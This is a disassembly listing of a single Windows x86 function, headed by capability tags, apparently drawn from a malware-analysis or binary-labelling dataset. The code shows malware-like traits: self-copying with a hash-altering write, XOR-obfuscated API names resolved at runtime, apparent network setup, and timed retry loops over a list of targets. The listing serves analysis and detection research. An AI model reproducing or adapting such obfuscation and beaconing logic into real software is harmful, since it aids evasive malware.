Function at 0x405ce0
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Encode data using xor
Query environment variable
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413bd0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x508
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
call fcn.00403fb0
push 0x416708
mov eax, dword [ebp + 0x10]
push eax
call fcn.00406780
add esp, 8
test eax, eax
je 0x406092
push 0x100
lea ecx, [ebp - 0x184]
push ecx
push 0
call dword [0x414068]
xor eax, eax
jmp 0x405d40
mov cl, byte [ebp + eax - 0x184]
mov byte [ebp + eax - 0x284], cl
inc eax
test cl, cl
jne 0x405d40
lea edi, [ebp - 0x284]
dec edi
lea ebx, [ebx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x405d60
mov dx, word [0x416508]
mov word [edi], dx
lea eax, [ebp - 0x284]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea ecx, [ebp - 0x284]
push ecx
lea edx, [ebp - 0x184]
push edx
call fcn.004061ca
add esp, 8
push 1
lea eax, [ebp - 0x184]
push eax
lea ecx, [ebp - 0x284]
push ecx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
lea edx, [ebp - 0x184]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x405e01
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [ebp - 0x1c], eax
push 0
lea eax, [ebp - 0x20]
push eax
push 1
lea ecx, [ebp - 0x1c]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [0x415eb0]
mov dword [ebp - 0x84], edx
mov eax, dword [0x415eb4]
mov dword [ebp - 0x80], eax
mov cx, word [0x415eb8]
mov word [ebp - 0x7c], cx
mov dl, byte [0x415eba]
mov byte [ebp - 0x7a], dl
lea eax, [ebp - 0x84]
cmp byte [ebp - 0x84], 0
je 0x405e56
mov ecx, eax
lea ebx, [ebx]
mov dl, byte [eax]
xor dl, 0xf
movzx dx, dl
movzx edx, dx
mov byte [eax], dl
inc ecx
mov eax, ecx
cmp byte [ecx], 0
jne 0x405e40
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
mov ecx, dword [0x41618c]
mov dword [ebp - 0x84], ecx
mov edx, dword [0x416190]
mov dword [ebp - 0x80], edx
mov ax, word [0x416194]
mov word [ebp - 0x7c], ax
mov cl, byte [0x416196]
mov byte [ebp - 0x7a], cl
lea ecx, [ebp - 0x84]
cmp byte [ebp - 0x84], 0
je 0x405eb5
mov edx, ecx
mov edi, edi
mov al, byte [ecx]
xor al, 0xf
movzx ax, al
movzx ebx, ax
mov byte [ecx], bl
inc edx
mov ecx, edx
cmp byte [edx], 0
jne 0x405ea0
lea ecx, [ebp - 0x84]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 4], 0
lea edx, [ebp - 0x514]
push edx
push 0x101
call eax
test eax, eax
jne 0x406070
push 0
call fcn.00406e28
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
add esp, 4
mov eax, dword [0x41a13c]
cmp eax, edx
jl 0x405f06
jg 0x405ee0
mov ecx, dword [0x41a138]
cmp ecx, dword [ebp - 0x18]
ja 0x405ee0
mov dword [0x419f38], 0x419050
push 0x7d0
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
call ebx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.0040698a
add esp, 4
mov eax, dword [0x419f38]
cmp byte [eax], 0
je 0x406069
mov ecx, 6
mov esi, 0x416710
lea edi, [ebp - 0x84]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edx, dword [0x419450]
push edx
push 0x41a154
push 0x419ff8
push 0x6fd207
lea eax, [ebp - 0x84]
call fcn.00402090
push eax
lea eax, [ebp - 0x384]
push eax
call fcn.004061fd
add esp, 0x18
lea ecx, [ebp - 0x384]
push ecx
call fcn.00405850
add esp, 4
test eax, eax
jne 0x40602c
jmp 0x405fa0
mov edx, dword [0x41a13c]
cmp edx, dword [ebp - 0x14]
jl 0x405fc9
jg 0x405fb7
mov eax, dword [0x41a138]
cmp eax, dword [ebp - 0x18]
jbe 0x405fc9
push 0
call fcn.00406e28
add esp, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
jmp 0x405fa0
mov ecx, dword [0x419450]
lea edx, [ecx + ecx]
mov eax, 0xaaaaaaab
mul edx
mov esi, edx
shr esi, 1
call fcn.0040699c
xor edx, edx
div esi
add esi, edx
push esi
call ebx
mov ecx, 6
mov esi, 0x416710
lea edi, [ebp - 0x84]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [0x419450]
push eax
push 0x41a154
push 0x419ff8
push 0x6fd207
lea eax, [ebp - 0x84]
call fcn.00402090
push eax
lea ecx, [ebp - 0x384]
push ecx
jmp 0x405f77
push 0x7d0
call ebx
mov edx, dword [0x419f38]
mov eax, edx
lea esi, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406040
sub eax, esi
lea eax, [edx + eax + 1]
mov dword [0x419f38], eax
cmp byte [eax], cl
jne 0x405f3a
mov eax, 0x419050
mov dword [0x419f38], eax
jmp 0x405f31
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call fcn.00403cc0
push 0x100
lea edx, [ebp - 0x184]
push edx
push 0
call dword [0x414068]
lea eax, [ebp - 0x184]
push eax
push 0x41672c
lea ecx, [ebp - 0x284]
push ecx
call fcn.004061fd
add esp, 0xc
push 0x104
lea edx, [ebp - 0x184]
push edx
push 0x416744
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
test eax, eax
je 0x406114
push 0x41674c
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push 0x416758
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x406114
push 0
push 0
lea ecx, [ebp - 0x284]
push ecx
lea edx, [ebp - 0x184]
push edx
push 0
push 0
call eax
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]